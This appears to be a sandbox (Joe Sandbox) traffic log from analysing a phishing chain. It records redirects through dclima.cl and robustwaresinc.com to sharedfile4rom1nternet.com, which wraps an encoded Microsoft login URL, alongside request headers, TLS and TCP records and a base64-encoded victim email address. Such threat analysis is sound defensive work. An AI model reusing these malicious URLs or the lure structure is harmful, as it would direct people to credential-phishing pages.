DRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=true	HTTP Parser: No <meta name="author".. found

Source: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=true	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.16:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.16:49743 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Redirect from: robustwaresinc.com to https://sharedfile4rom1nternet.com/?dataxx0=eyjhbgcioijiuzi1niisinr5cci6ikpxvcj9.eyj1cmwioijodhrwczovl3noyxjlzgzpbgu0cm9tmw50zxjuzxquy29tlyisimrvbwfpbii6innoyxjlzgzpbgu0cm9tmw50zxjuzxquy29tiiwia2v5ijoiyvrfzmpzehznz2poiiwicxjjijoia2vsbhliqgnody1pbmmuy29tiiwiawf0ijoxnzmymtk2njk2lcjlehaioje3mzixoty4mtz9.acrptx5bozj8-bu_sftiwtsi7nhhcbsepbctsjmgbnm

Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 104.18.94.41 104.18.94.41
Source: Joe Sandbox View	IP Address: 23.195.76.153 23.195.76.153
Source: Joe Sandbox View	IP Address: 164.132.95.123 164.132.95.123

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 107.22.247.231
Source: unknown	TCP traffic detected without corresponding DNS query: 107.22.247.231
Source: unknown	TCP traffic detected without corresponding DNS query: 107.22.247.231
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 107.22.247.231
Source: unknown	TCP traffic detected without corresponding DNS query: 107.22.247.231
Source: unknown	TCP traffic detected without corresponding DNS query: 107.22.247.231
Source: unknown	TCP traffic detected without corresponding DNS query: 107.22.247.231
Source: unknown	TCP traffic detected without corresponding DNS query: 107.22.247.231
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 107.22.247.231
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 107.22.247.231
Source: unknown	TCP traffic detected without corresponding DNS query: 107.22.247.231
Source: unknown	TCP traffic detected without corresponding DNS query: 107.22.247.231
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=NhKoT3UZsUvpXtf&MD=ab3+FrUs HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /psdk/v2/content?surfaceId=ACROBAT_READER_MASTER_SURFACEID&surfaceId=DC_READER_LAUNCH_CARD&surfaceId=DC_Reader_RHP_Banner&surfaceId=DC_Reader_RHP_Retention&surfaceId=Edit_InApp_Aug2020&surfaceId=DC_FirstMile_Right_Sec_Surface&surfaceId=DC_Reader_Upsell_Cards&surfaceId=DC_FirstMile_Home_View_Surface&surfaceId=DC_Reader_RHP_Intent_Banner&surfaceId=DC_Reader_Disc_LHP_Banner&surfaceId=DC_Reader_Edit_LHP_Banner&surfaceId=DC_Reader_Convert_LHP_Banner&surfaceId=DC_Reader_Sign_LHP_Banner&surfaceId=DC_Reader_More_LHP_Banner&surfaceId=DC_Reader_Disc_LHP_Retention&surfaceId=DC_Reader_Home_LHP_Trial_Banner&adcProductLanguage=en-us&adcVersion=23.6.20320&adcProductType=SingleClientMini&adcOSType=WIN&adcCountryCode=US&adcXAPIClientID=api_reader_desktop_win_23.6.20320&encodingScheme=BASE_64 HTTP/1.1Host: p13n.adobe.ioConnection: keep-alivesec-ch-ua: "Chromium";v="105"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36Accept: application/json, text/javascript, /; q=0.01x-adobe-uuid: fe97c538-da5e-4108-829d-bf7bd7076578x-adobe-uuid-type: visitorIdx-api-key: AdobeReader9sec-ch-ua-platform: "Windows"Origin: https://rna-resource.acrobat.comAccept-Language: en-US,en;q=0.9Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://rna-resource.acrobat.com/Accept-Encoding: gzip, deflate, br
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /onboarding/smskillreader.txt HTTP/1.1Host: armmf.adobe.comConnection: keep-aliveAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br
Source: global traffic	HTTP traffic detected: GET /.pdf/encryption/00152689/php/connection HTTP/1.1Host: dclima.clConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /.pdf/encryption/00152689/php/connection/ HTTP/1.1Host: dclima.clConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?rebzqncw?&email=a2VsbHliQGNody1pbmMuY29t HTTP/1.1Host: robustwaresinc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://dclima.cl/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?rebzqncw=65da745019da1548ea7a6a571f9ede156fdf3d9563edb219fb79baaff07042ec520dd43e783c5f05437009cc25baee315288e0e26b77346b5f7ccb86ea2841fd&email=a2VsbHliQGNody1pbmMuY29t HTTP/1.1Host: robustwaresinc.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://dclima.cl/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://robustwaresinc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/22755d9a86c9/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://robustwaresinc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/22755d9a86c9/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/b7vhb/0x4AAAAAAA0I-nPFyuQ7OkeQ/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://robustwaresinc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8e611d89ebaa43cf&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/b7vhb/0x4AAAAAAA0I-nPFyuQ7OkeQ/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/b7vhb/0x4AAAAAAA0I-nPFyuQ7OkeQ/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8e611d89ebaa43cf&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: robustwaresinc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://robustwaresinc.com/?rebzqncw=65da745019da1548ea7a6a571f9ede156fdf3d9563edb219fb79baaff07042ec520dd43e783c5f05437009cc25baee315288e0e26b77346b5f7ccb86ea2841fd&email=a2VsbHliQGNody1pbmMuY29tAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1900004869:1732193398:xYxRnhRTLYoBzVFerUjl_gT9us-M5K-J0PAZyirTKEo/8e611d89ebaa43cf/OOWdfnwMazG9.hEkl1zZh895VE0DTIBBhmUxp6h..Cs-1732196676-1.1.1.1-QNch6E4NmRyaMcK5js34.zZCK4cR6woy34tQ1NVH5yfne78WeJKqDAjjLHEE6LWg HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/8e611d89ebaa43cf/1732196680337/ad45d54012d674851f9503b1966de446ee693528b3a461cb4509d56d0e7d958c/GlR4mQ8jn4h0ySM HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/b7vhb/0x4AAAAAAA0I-nPFyuQ7OkeQ/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8e611d89ebaa43cf/1732196680340/RJ79sfLZiDrchgI HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/b7vhb/0x4AAAAAAA0I-nPFyuQ7OkeQ/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=NhKoT3UZsUvpXtf&MD=ab3+FrUs HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
